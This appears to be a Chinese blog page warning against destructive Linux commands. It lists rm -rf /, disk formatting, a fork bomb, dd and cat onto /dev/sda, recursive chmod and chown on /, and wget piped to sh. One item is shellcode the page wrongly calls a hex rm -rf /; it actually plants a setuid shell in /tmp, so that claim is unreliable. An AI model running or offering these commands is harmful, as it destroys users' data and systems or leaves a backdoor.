`

致命的 Linux 命令

阅读更多
以下是致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。

2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
      release */
      = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
      "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
      "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
      "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
      "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
      "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
      "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
      "cp -p /bin/sh /tmp/.beyond; chmod 4755
      /tmp/.beyond;";

      这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。

3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。

4. : (){ :|:& };:著名的 fork 炸 弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。其实是定义了一个函数并调用:定义函数“:”:() { # 制造一个管道递归调用函数“:”本身,放到后台 : | : & }

5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。

6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。

7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。

8. chmod -R (随便什么) / 直接导致ubuntu挂掉

9.rm -rf / tmp 这会导致你死的很难看……

10. dd if=/dev/zero of=/dev/sda bs=120G count=1

11. cat /dev/null > /dev/sda

12. chown -R someone /

13. chmod 7777 -R / (不死也搞你个浑身抢眼)

14. sudo apt-get remove glibc

15. find / -name XXX | xargs rm -rf
分享到:
评论

相关推荐

    7 个致命的 Linux 命令

    ### 7 个致命的 Linux 命令 在 Linux 操作系统中,存在一些非常危险的命令,这些命令一旦被误用或恶意利用,可能会对系统造成不可逆转的损害。下面详细介绍这七个命令及其潜在的风险。 #### 1. `rm -rf /` **命令...

    危险,几条可致命的Linux命令!.pdf

    以下是几条可致命的 Linux 命令,作为 Linux 系统工程师,我们需要了解这些命令的危险性,并避免在实际操作中使用它们。 1. rm -rf / 命令 rm -rf / 命令将递归并强制删除 / 目录下的所有文件。这意味着,如果你...

    致命的7个Linux命令

    ### 致命的7个Linux命令详解 #### 1. `rm -rf /` 这个命令是许多Linux用户的噩梦。`rm` 是用于删除文件的命令,而 `-rf` 参数组合意味着强制递归删除文件及目录。当你在命令行输入 `rm -rf /` 并回车时,它会立即...

    Linux系统中popen函数的缺陷与改造方案.pdf

    Linux 操作系统中,popen 函数是一个常用的函数,用于执行 shell 命令并得到执行结果。然而,Linux 库提供的 popen 函数却有两个致命的缺陷。本文将分析这两个缺陷产生的原因,并给出改造方案。 popen 函数的使用...

    测试基础+Linux基础命令+python+monkey基础命令基础合集

    ### 测试基础知识详解 ...综上所述,软件测试是保证软件质量的关键环节,而 Linux 命令、Python 编程语言以及 Monkey 工具则是进行高效测试不可或缺的技能。了解这些基础知识和技术,有助于更好地开展软件测试工作。

    关于linux bash致命漏洞的情况以及预防措施

    ### 关于Linux Bash致命漏洞的情况及预防措施 #### 漏洞概述 近期,一个被称为比“心脏出血”(Heartbleed)更为严重的Linux安全漏洞——Bash漏洞被公开披露。这一漏洞存在于广泛使用的Bash shell中,允许攻击者...

    《Linux从入门到精通》

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    The Linux Process Manager

    正常结束通常是通过`exit()`或`_exit()`函数实现的,而异常终止则可能是因为接收到致命信号(如SIGKILL)。进程终止后,内核会清理该进程的所有资源,并释放其`task_struct`结构体。 #### 十、中断Linux Linux内核...

    linux从入门到精通.chm

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    Linux下C语言实现文件拷贝

    如果不是中断错误,则视为致命错误,跳出循环。 ##### 9. 关闭文件描述符 ```c close(from_fd); close(to_fd); ``` 最后,确保关闭打开的文件描述符,释放资源。 #### 三、总结 通过上述分析,我们可以看到这段...

    linux kernerl panic

    Linux Kernel Panic 是一种致命的错误状态,发生这种情况时,系统将无法继续运行,并且可能会导致数据丢失或系统崩溃。Kernel Panic 大致可以分为三种情况:oops、死锁和应用程序系统调用长时间没有返回。 Oops ...

    linux下管理员强行踢出用户的命令使用方法.docx

    总结来说,Linux下管理员强制踢出用户主要涉及`w`和`pkill`两个命令。`w`用于获取用户登录信息,`pkill`配合`-kill`和`-t`选项用于发送信号强制结束指定终端上的用户会话。通过熟练掌握这些命令,管理员可以有效地...

    Linux从入门到精通

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    Linux修改ip配置文件.doc

    "Linux修改ip配置文件" Linux操作系统中,IP配置文件是网络配置的核心文件之一。通过修改这个文件,可以永久改变IP地址。下面将详细介绍如何修改Linux中的IP配置文件。 第一步:进入配置文件所在目录 在Linux...

    linux线程技术

    例如,使用ps命令会看到每个线程作为一个单独的进程显示,而不是一个进程内的多个线程。 Linuxthreads通过一个管理线程来解决线程退出时的资源清理问题。当线程退出时,管理线程接收到SIGUSER1信号,并检查子线程的...

    LR监控linux之详解rstatd的安装

    启动`rstatd`服务的方法也会因系统而异,但在大多数Linux发行版中,可以通过以下命令启动服务: ```bash sudo service rstatd start ``` 或者如果是Systemd的系统,可以使用: ```bash sudo systemctl start ...

    2005详细介绍Linux从入门到精通

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    KP问题定位

    当使用不支持的SCSI设备类型或命令时,可能会触发内核恐慌,因为系统可能无法正确处理这些设备,导致命令错误。另外,通过设置选项,可以启用或禁用SCSI卡,并要求驱动程序在系统过热时调用panic函数,以避免因温度...

    在linux下安装python模块出现错误(csdn)————程序.pdf

    在给定的文件描述中,出错内容提到了`c/_cffi_backend.c:15:17: 致命错误:ffi.h:没有那个文件或目录`,这是一个典型的编译错误,表明在尝试安装某个Python模块(如cffi)时,编译过程找不到`ffi.h`头文件,而这个...

Global site tag (gtag.js) - Google Analytics